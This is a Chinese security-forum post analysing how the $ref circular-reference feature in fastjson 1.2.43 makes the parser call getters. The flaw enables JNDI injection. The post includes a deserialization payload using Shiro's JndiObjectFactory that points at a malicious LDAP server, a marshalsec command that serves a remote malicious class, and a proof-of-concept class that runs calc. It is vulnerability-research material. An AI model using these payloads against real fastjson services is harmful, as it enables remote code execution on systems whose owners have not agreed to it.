前言虽然 网上已经有很多’fastjson’ 的 ‘payload’ ,并且分析漏洞的文章也不在少数了,但是我发现好像没什么分析 ‘循环引用($ref)’这个属性的在学习 ‘fastjson’漏洞的时候尝试进…
前言
虽然 网上已经有很多fastjson
的 payload
,并且分析漏洞的文章也不在少数了,但是我发现好像没什么分析 循环引用($ref)
这个属性的
在学习 fastjson
漏洞的时候尝试进行了一些分析记录下来。
如果有错误希望师傅们斧正
本篇文章不会从 fastjson
漏洞的原理讲起,建议师傅们先学习漏洞的成因以及调试一些 fastjson
内部的代码
这里推荐两篇我看过的很好的的文章:
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7#dfe50187
环境部署
此次实验环境使用的是 fastjson 1.2.43
+jdk1.8.161
测试代码:
String payload ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\"," +
"\"ResourceName\":\"ldap://127.0.0.1:1389/ldapServer\"," +
"\"a\":{\"$ref\":\"$.instance\"\}\}"
;
JSON.parse(payload);
1389
是通过 marshalsec
开启的 LADP 服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#ldapServer 1389
8000
端口是我用 python
开的服务器,上面挂在着 ldapServer.class
恶意类(弹服务器)
漏洞分析
这个 payload
会自动触发 JndiObjectFactory
的 getInstance
函数,然后执行 lookup
最终运行恶意代码。
那是怎么触发的呢,我们可以首先进入 parse
找到:
进入 handleResovleTask
:
这里循环了 resolveTaskList
,想知道它是在哪里添加的,我们可以在:
addResolveTask
函数上下断点。
执行到此处以后我们向前找到几个函数:
当 fastjson
在解析字段时,会执行到 parseField
:
通常情况下,如果类里面存在指定的字段,那就会在此处返回一个对象,但是我们指定的 instance
是不在 JndiObjectFactory
类的。
然后就会执行到下面:
进入 parseExtra
后:
再次进入 parse
看到此处:
为什么会进入 case 12
呢,我们可以在 JSONLexerBase
类发现当字符是 {
时 token
赋值为 12
进入 parseObject
,大概到 287
行:
通过上面的词法分析会取得 key
为 $ref
,ref
为 $.instance
然后再下面一些:
此处判断了如果 ref
不为 @
、..
、$
就进入最后的 else
,然后进入我们最开始的的 addResolveTask
函数。
回到最开始的 handleResovleTask
函数:
此处的 ref
为 $.instance
,最终进入 JSONPath.eval
:
再次进入 eval
,但是此处我们需要注意一个变量,就是第一个参数为 JndiObjectFactory
这个类
他的 resourceName
已经是指向我们的恶意 LDAP
服务器了,我们只需要触发这个类的 getInstance
函数即可了。
再次进入 eval
:
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (this.deep) {
....
} else {
// 进入此处
return path.getPropertyValue(currentObject, this.propertyName, this.propertyNameHash);
}
}
需要注意这里的 this.propertyName
为 instance
,接着进入 getPropertyValue
:
此处稍微解释一下 getJavaBeanSerializer
函数:
根据传进的类(此处为 JndiObjectFactory )获得类中的方法
如果函数名中有 get
并且符合一定条件就会加入到 getters
。
接着看代码:
这里的 propertyName
依然为 instance
会发现第三个参数为 propertyNameHash
,根据名字可以知道这是第二次参数的 hash
值。
进入 getFieldValue
函数:
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
// 根据 keyHash 获得字段的值
FieldSerializer fieldDeser = this.getFieldSerializer(keyHash);
if (fieldDeser == null) {
.....
} else {
try {
return fieldDeser.getPropertyValue(object);
} catch (InvocationTargetException var8) {
throw new JSONException("getFieldValue error." + key, var8);
} catch (IllegalAccessException var9) {
throw new JSONException("getFieldValue error." + key, var9);
}
}
}
放出一个 fieldDeser
属性截图,此处的 method
为 getInstance
:
然后进入 getPropertyValue
:
进入 FieldInfo
类的 get
方法:
此处 method
不为空,调用 getInstance
:
触发 lookup
获取恶 class
执行代码。
其实我们不一定需要用到什么固定的类,我们甚至可以本地搭建一个进行测试
本地新建一个类:
public class TestObject {
public String getHaha() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
}
然后我们测试代码:
String payload ="{\"@type\":\"TestObject\",\"haha\":{\"$ref\":\"$.Haha\"\}\}";
JSON.parse(payload);
会发现依然可以弹出计算器,说明我们的分析大致是没什么问题的。
总结
本文没什么高深的技术,因为是初学,对分析过程的一个记录,分析过程可能也存在一定错误,如果发现哪里讲得不对,希望师傅们可以即使指出。一起学习
- 本文作者: ruozhididi
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/588
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!